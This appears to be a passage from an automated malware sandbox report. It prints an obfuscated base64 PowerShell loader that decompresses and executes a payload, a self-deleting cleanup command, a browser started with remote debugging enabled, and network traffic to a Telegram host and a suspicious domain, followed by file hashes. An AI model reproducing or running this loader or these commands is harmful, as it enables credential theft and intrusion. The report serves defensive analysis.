LAAxADEANAAsADEAMAAxACwAMQAwADYALAAxADEANwAsADEAMQAwACwAMQAwADcAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AGIAOABjADkAZAAwAGUAMQB9AD0AQAB7AGYAYQBrAGUAPQAnAGQAYQB0AGEAJwA7AG0AbwByAGUAPQAnAHMAdAB1AGYAZgAnAH0AOwAkAGEAPQAzADEAOQAyADsAJABiAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADYAMQBGADYALgB0AG0AcAAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAbgBFAHcALQBvAEIAagBFAEMAVAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQBbAGMATwBuAHYARQByAHQAXQA6ADoAZgByAG8ATQBCAEEAUwBFADYANABzAHQAcgBpAG4ARwAoACcAcgBWAFgAZgBiADkAbwB3AEUASAA3AFAAWAArAEUAeABIAGgATABKAG8AQQB6AFEAZgBoAFIARgBLAGcAMwB0AFYAcQBuAFQATwBtAEIAYgBWADgAUwBEAFMAUQA0AFMAegBiAEUAagB4ADQARwB3AHcAdgA4ACsASgB6AEUAdABhAGIATwBwAFYAUABNAEQAdgBvAHQAOQA5ADkAMwBIAGQAeQBlAC8AUgBqADkAWABxADYAKwBMAFcAKwBxAHYAUAByAHcAegBtAG8AawBrAFEAawA3AEMAQwBKAEMARABQAG8ASgBzAEQAWQBrAEUAdwArAGYAbwB6AGsAQgBxAE4AYgAxAFUAQwBHAEIAUABMAGgAUgBuAFEARQBtAGMAZwBLACsAKwBtADUAVgA3AEwAZgBTAFEAMQBXAHAAUAB1AEMAUgAwAEQAQgA1AG4AZgBtAEwAcwAwAEQAbwBJAEsAYQBpAEEAZgBYAEMATABTAHQAUwAxAEQARwBQAGcAKwA2ADMASgBKAGwAYgBSACsAZQA4AFEARgBpAEUATABaAGMAZwBaAE8AbQAwAFkAYQBSAEsAeQBKAFIAcAB2AEUAZwBsAFIALwA5AEIAcABqADEASQBtAEYAVQByADcAawBrAGsAUQBQAEIANgBEAFcASQBVAGUASgBIADAAagBUAHUAYwAwADkASgBCAEgAUwBaAEsAZwBtADUASwBNAEsAaQBHAFIASwBBADIAWgBSAEEAUABIAHoAbQB6AGIANwB1AEMAegAzAE8AagBaAE4AbgBiAEwATAArAC8AeABzAEQAQQA2AE4AagA0AHYAagBEAGQAMgB2AHcAaQBlAEQAaQBtADkAagBHAEkAdQBwAE4AbgA0AEIAWQBJAEIANwBYAFkAYQAxAGsAdwBSAGwAUQBvAEgATQBvAFgAUABrAEMAcgBqAFcAZwByADAASgBRAFoAMgBMAGIAZwBxAEoARABFAEwAdQBBAHoAUABPAGEAZABvAGcAdwB2AHYAdAAzAFYARQB5AGkATABRAHAAVAB5AEIAVAA0AFQANQBGAEUAeQBOAGsAVgBuAEgAMQAvAFUAOQBGAEQASQBsAGQARQBBAHAAOQA4ADYAegArADAAeABZAEcALwB2AHkAeQBvADIAVQAyAC8AegBvAFkAbgArAEkAVQBJAEsAbQAvAHgAawBpAEwAagBZADEAUwBQAE8ATgBoAE8AbgBzAEEAWQB1AG4AVwBwAG4AagA4AFQAUQByAGgAUwBqAEIAawA3AFcAOAB2AG0AbgByAGYAOABCAGQAMABEAFEASgBMAGwAVQBuAGkAZABUAEwARwA5AFEAbABYAGcARAAvAHcAbgB5AEIAVQBLADQAQQBOAFcAVQBqADkAZQBkAEoAbQBBAFQASwA4AGYAOAB1AGwAdgBiAEoAMwBwAGkAWABCADkANwBlADkAegBXACsAbgBnAGkATgBWADEAQQBaAGwAZAAwAFoANwA5AFgAdwByAFgASgBRADgAcQBXAGoAQQArAGUAdwBtAFEAZgBiAHMANgAyADcASABXADcAUAA4AFkATABRAEIASABDAHMAYwArAGMAcgBYAEoAaQBCADQANQBSAGgANwBWAHMAMQBqAFoAWQBBAG0AUwBwAE8AeABkAFgAKwA0ADgAUwBSADgANgBnAGIAQQAzAHcAUQBpADQAdgBLAEwATAA5ADkAQgBXAHcAcABBADIAeABuAFgAVABXAGMAVwB6AHYAcgBxAEUAMQA1AFAAYgB1AEsASABGAFcAUgA3AHcANABIAEoAcgBEADYAbABVAHAAMgA5ADQARQBGAGUAOQA1AFgAOABhACsAZQBOAEYARwBBAEkAMgB4AHEARABRAC8AcgA2AE4AbABGADgAMwBEAHIASwBKAEIAMQBBAFYASQB6AEcAVABtAE0ALwA1AGgAdABEAHIAQgArAE4AawBDAGUAdQBiADQAcABhAHoAawA4AE8ANgA4AFcAUwBqAG8AMQAzAFYAZwBWAHkAMQBZADQAVgBmADkAUQBqAEkAcABRADgAawBWAEMAMQBkADkAUwBaAEgAVgBmADcAWQB5AGQAMABUAGgARgByAFMAdgBDAGwAaQBsAFoAQQBuAEwASABBAFIARwB4ADAAZgBTAGQAcQBjAHYAWgBDAG8AUwBjAG4AWgB4AGMAQwBCADYAZABrAFEAVABlADkAcwBaAFMAcQBFAGYARQBOAFAAUAAzAFQASgAxAEwAOQBYAEsAaAAxAG8AaQBzAFUAWABOAHUAVwBjAGIAMABSAGwAMABlAG0AZABOAGMAbABHADUAbgAxAGkAUwA0ADYAVgB0AC8AQQBBAD0APQAnACkALABbAHMAeQBTAFQAZQBNAC4ASQBvAC4AQwBPAG0AUAByAGUAUwBzAGkATwBOAC4AYwBPAG0AcAByAGUAUwBTAGkATwBOAE0AbwBkAGUAXQA6ADoAZABFAEMAbwBtAHAAcgBlAFMAUwApAHwAJQB7AG4ARQB3AC0AbwBCAGoARQBDAFQAIABJAE8ALgBzAHQAUgBlAGEAbQByAGUAYQBkAEUAUgAoACQAXwAsAFsAUwBZAFMAVABlAG0ALgBUAGUAeAB0AC4AZQBuAGMAbwBEAGkATgBHAF0AOgA6AEEAcwBjAGkASQApAH0AfAAlAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApAH0AKQAgAA==

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff88865dcf8,0x7ff88865dd04,0x7ff88865dd10

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2004,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=2000 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2224,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=2236 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2372,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=2516 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3148,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3168 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3172,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3204 /prefetch:1

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4192,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4244 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4520,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4572 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5112,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5104 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5432,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5364 /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5100,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5136 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5676,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5692 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5712,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5844 /prefetch:8

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3sqz0ne1\3sqz0ne1.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES732C.tmp" "c:\Users\Admin\AppData\Local\Temp\3sqz0ne1\CSCB76A280560FE48389084FC30EF7E3DC5.TMP"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5136,i,8371999122642646252,388297801828033040,262144 --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5868 /prefetch:8

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x260,0x7ff87810f208,0x7ff87810f214,0x7ff87810f220

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1880,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=2244 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2208,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2476,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=2456 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3464,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3472,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=3552 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5048,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5108,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5956,i,11883402588656859541,2804382520692313838,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:8

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\2nopz" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 11

Network

Country Destination Domain Proto
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 6.p.exifit.eu.org udp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 8.8.8.8:53 e5.c.lencr.org udp
US 104.18.21.213:80 e5.c.lencr.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 8.8.8.8:53 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 ogads-pa.clients6.google.com udp
US 8.8.8.8:53 apis.google.com udp
GB 142.250.117.101:443 apis.google.com tcp
GB 216.58.212.234:443 ogads-pa.clients6.google.com tcp
US 8.8.8.8:53 clients2.google.com udp
GB 216.58.212.238:443 clients2.google.com tcp
GB 216.58.212.234:443 ogads-pa.clients6.google.com udp
GB 216.58.212.234:443 ogads-pa.clients6.google.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 142.250.200.1:443 clients2.googleusercontent.com tcp
US 8.8.8.8:53 play.google.com udp
GB 142.250.179.238:443 play.google.com tcp
N/A 224.0.0.251:5353 udp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 ntp.msn.com udp
US 8.8.8.8:53 ntp.msn.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 api.edgeoffer.microsoft.com udp
US 8.8.8.8:53 api.edgeoffer.microsoft.com udp
US 8.8.8.8:53 copilot.microsoft.com udp
US 8.8.8.8:53 copilot.microsoft.com udp
US 150.171.27.11:80 edge.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 150.171.28.11:443 edge.microsoft.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
GB 2.18.27.68:443 copilot.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 13.107.246.64:443 api.edgeoffer.microsoft.com tcp
GB 2.18.27.68:443 copilot.microsoft.com tcp
US 204.79.197.203:443 ntp.msn.com tcp
US 8.8.8.8:53 assets.msn.com udp
US 8.8.8.8:53 assets.msn.com udp
GB 2.22.144.80:443 assets.msn.com tcp
GB 2.22.144.80:443 assets.msn.com udp
GB 2.22.144.80:443 assets.msn.com tcp
US 8.8.8.8:53 img-s-msn-com.akamaized.net udp
US 8.8.8.8:53 img-s-msn-com.akamaized.net udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 sb.scorecardresearch.com udp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 th.bing.com udp
US 8.8.8.8:53 c.msn.com udp
US 8.8.8.8:53 c.msn.com udp
US 8.8.8.8:53 c.bing.com udp
US 8.8.8.8:53 c.bing.com udp
GB 2.18.27.76:443 www.bing.com tcp
GB 2.22.144.80:443 assets.msn.com udp
US 150.171.27.10:443 c.bing.com tcp
IE 13.74.129.1:443 c.msn.com tcp
GB 2.18.27.82:443 www.bing.com tcp
US 13.226.155.104:443 sb.scorecardresearch.com tcp
GB 2.19.252.151:443 img-s-msn-com.akamaized.net tcp
US 204.79.197.203:443 ntp.msn.com udp
US 8.8.8.8:53 browser.events.data.msn.com udp
US 8.8.8.8:53 browser.events.data.msn.com udp
US 20.189.173.1:443 browser.events.data.msn.com tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
US 150.171.27.11:443 edge.microsoft.com tcp
US 8.8.8.8:53 srtb.msn.com udp
US 8.8.8.8:53 srtb.msn.com udp
GB 2.22.144.80:443 assets.msn.com udp
US 20.189.173.1:443 browser.events.data.msn.com tcp
US 204.79.197.203:443 srtb.msn.com tcp
GB 2.19.252.151:443 img-s-msn-com.akamaized.net udp
US 204.79.197.203:443 srtb.msn.com tcp
GB 2.18.27.82:443 www.bing.com tcp
GB 2.18.27.76:443 www.bing.com udp
GB 2.22.144.80:443 assets.msn.com udp
US 204.79.197.203:443 srtb.msn.com udp
US 204.79.197.203:443 srtb.msn.com tcp
US 8.8.8.8:53 r.bing.com udp
US 8.8.8.8:53 r.bing.com udp
US 8.8.8.8:53 r.msftstatic.com udp
US 8.8.8.8:53 r.msftstatic.com udp
US 204.79.197.219:443 r.msftstatic.com tcp
GB 2.18.27.82:443 r.bing.com tcp
US 204.79.197.219:443 r.msftstatic.com tcp
GB 2.18.27.82:443 r.bing.com tcp
US 8.8.8.8:53 thaka.bing.com udp
US 8.8.8.8:53 thaka.bing.com udp
GB 2.18.27.76:443 www.bing.com tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 150.171.28.11:443 edge.microsoft.com tcp
US 8.8.8.8:53 update.googleapis.com udp
US 8.8.8.8:53 update.googleapis.com udp
GB 142.250.200.3:443 update.googleapis.com tcp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 142.250.200.1:443 clients2.googleusercontent.com tcp
US 8.8.8.8:53 edge.microsoft.com udp
US 8.8.8.8:53 edge.microsoft.com udp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
DE 116.202.181.52:443 6.p.exifit.eu.org tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp

Files

memory/4128-0-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-1-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-2-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-9-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-10-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-15-0x0000000000400000-0x0000000000439000-memory.dmp

memory/4128-16-0x0000000000400000-0x0000000000439000-memory.dmp

memory/5684-19-0x000001AFA6070000-0x000001AFA6080000-memory.dmp

memory/5684-20-0x000001AFA6070000-0x000001AFA6080000-memory.dmp

memory/5684-22-0x000001AFA5FF0000-0x000001AFA6012000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s05mvnmi.soc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 115d9ce05d47a739e587d36f9c7d1a9e
SHA1 b64cb2738901da0b9695025ea32b90f213c69a92
SHA256 28bbe5a1f0a5060281fdf42a90c8d02de1352786aba1aa4e171c7ccd7e242f22
SHA512 835673212ac7449f17ac26efc1572715ebbdc3389a9f6a5cd053f481936a1bc52cde491453a687623de4ce70a0c54a461ffac282324635b577a70dd9f0d91bf1

\??\pipe\crashpad_3192_RXIHOVPTBNONBSQC

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

memory/4128-74-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\scoped_dir3192_951265332\c6fb0e30-abc0-4f0f-b700-48149ce56894.tmp

MD5 b384b2c8acf11d0ca778ea05a710bc01
SHA1 4d3e01b65ed401b19e9d05e2218eeb01a0a65972
SHA256 0a6b11a5b642bf6c1938189707e109a1f48eb02018cfb146f09e74a753567d1b
SHA512 272dd92a3efbf6cefe4b13127e09a9bd6455f5fc4913e7477c6712e4c3fd67efe87bd0d5bf1ec6b1e65f8d3aa0ac99d5bcf88d8a44d3f3116527253a01dde3be

\??\c:\Users\Admin\AppData\Local\Temp\3sqz0ne1\3sqz0ne1.cmdline

MD5 f78751ab1ea7f1ef1dcfec340b7270b1
SHA1 d0d26b482caaf127c6425ec5ae7e7732268d2424
SHA256 7d2060c47ca4e7f28c0761eee2e5aa6b77109ba16fe876e232ce7dd43d13e2a4
SHA512 74cc6622020ef00dca719dd9cb01e1fb812cd6db67298595d7a179a6491f89744caf7c8039094c303b10f7f186ad1af50a80fa0c7417819ea39a6f54f9f1f7e8

\??\c:\Users\Admin\AppData\Local\Temp\3sqz0ne1\3sqz0ne1.0.cs

MD5 3d1018b223caf0c61982a29cb26996cc
SHA1 743fd8c82380e7d72ec1cb2e05f149e148874b0e
SHA256 786a71b68cee9392682824e67abfb89e5ec70ee6fb37213491b5c9a95ac59c92
SHA512 7a632143e76410669fff27e2fa184d572a788e9d315f7c2415c7013cb07026678fe1b3e4fb1a77411f82941d7a03c64632c07d3fc1398e2df5741471b9462980

\??\c:\Users\Admin\AppData\Local\Temp\3sqz0ne1\CSCB76A280560FE48389084FC30EF7E3DC5.TMP

MD5 2d1bafe9e2a21dcc8240fdddd29c1d18
SHA1 85650b380513c043e3ae885ac23440d3b8b799d0
SHA256 7056fdbb15b4ad22bf6e18d6be1109e5346dee95813277f2979be01484d2985d
SHA512 fd9ecc21dbc387c843b68037003f1984a51a81541e770bb0ed8d595204aabe25714435f21b87faf1f604cb54a6ab7c584a9e9e616e0270bd7e121eaa94c50802

